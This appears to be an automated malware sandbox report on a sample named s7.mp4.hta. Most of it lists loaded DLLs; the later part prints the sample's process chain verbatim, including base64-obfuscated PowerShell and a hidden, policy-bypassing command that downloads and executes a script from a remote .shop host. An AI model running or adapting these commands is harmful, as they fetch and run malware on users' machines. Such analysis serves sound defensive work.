Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: biwinrt.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vccorlib140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: msvcp140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vcruntime140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vcruntime140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: msvcp140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vcruntime140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: winrttracing.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.storage.applicationdata.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.web.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wpnapps.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.applicationmodel.background.timebroker.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: s7.mp4.hta

Static file information: File size 1816543 > 1048576

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($z));$byteSTriNG = $Enc.$CVuaLhN1RccnM3ERl0SadUDnZEo1bErVwcWOIMKX3lRIWGCiQGYHB5vyAHRyPaAUtYWpxCJxcEBSm0eyqdVCZt8p3as6IScdMHffaSTD7vBmakZa5f1y4TygvKpzCRdcgCv5icqS2x91xwwR8f0LerOe5uYPYg

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7')))
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gU0xxKCRKRnhLeW5pail7DQooKCRKRnhLeW5paiAtc3BsaXQgJyg/PD1cRy4uKSd8JXskTHFsRlpScy5TdWJTdHJpbmcoMywxMDApWyRfXX0pICAtam9pbiAnJyAtcmVwbGFjZSAiLiQiKX07JExxbEZaUnMgPSdpZXhkT0pjeX5fNEc1X31nQUZtLUAwcHFZLnhCKW9oS2xRTHRCdS5XJVxhTW9JVEh7OjE2dlZlLypjeDdrdENYU3c7Um5pUXMwNEQjKDBOOWwyXCJmRTNyNWJ7IlJaOFV7MGp6UHZDNzU1MTU4MjIzNjUxODY5OTc3NjY1MTY1NTgn')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWN3QTNBQzRBYXdCc0FHa0FjQUJrQUhrQWR3QnZBSG9BYVFCNUFDNEFjd0JvQUc4QWNBQXZBR2dBZFFCckFHc0FOd0F1QUdvQWNBQmxBR2NBSndBcEFDa0FZQUFpQUNJQUlBQXRBRmNBYVFCdUFHUUFid0IzQUZNQWRBQjVBR3dBWlFBZ0FFZ0FhUUJrQUdRQVpRQnVBQT09Oy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBKRnhLeW5paigpe2Z1bmN0aW9uIHZvck9jKCRlUFNySlpLKXtpZighKFRlc3QtUGF0aCAtUGF0aCAkSW5MKSl7Y3VybCAoU0xxICRlUFNySlpLKSAtbyAkSW5MfX19SkZ4S3luaWo7')))	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcwA3AC4AawBsAGkAcABkAHkAdwBvAHoAaQB5AC4AcwBoAG8AcAAvAGgAdQBrAGsANwAuAGoAcABlAGcAJwApACkAYAAiACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA==;. $env:Temp\a.ps1; function JFxKynij(){function vorOc($ePSrJZK){if(!(Test-Path -Path $InL)){curl (SLq $ePSrJZK) -o $InL}}}JFxKynij;"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://s7.klipdywoziy.shop/hukk7.jpeg'))"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_009B4898 pushfd ; ret	8_2_009B4899
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00D771F4 push ecx; iretd	8_2_00D771FB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00D771EC push esp; iretd	8_2_00D771F3
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00D7AA20 pushad ; ret	8_2_00D7AA21
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8872A push es; ret	8_2_06B88740
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8D2AE pushad ; retf	8_2_06B8D2A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8D2AE push es; iretd	8_2_06B8D2C4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8D28A pushad ; retf	8_2_06B8D2A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8D2C6 pushad ; retf	8_2_06B8D2A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8D25A push es; retf	8_2_06B8D260
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B820D2 push esp; retf	8_2_06B82111
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8D1D6 pushfd ; retf	8_2_06B8D1DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_06B8216D push eax; iretd	8_2_06B82191
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0718C70A pushad ; retf	8_2_0718C70D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0718C6C9 push esp; retf	8_2_0718C6CC
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_0718CBDF push es; ret	8_2_0718CBE0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_072BE5E6 push ss; retf	8_2_072BE5E7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00441850 push eax; mov dword ptr [esp], 0E0908DBh	14_2_00441853

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
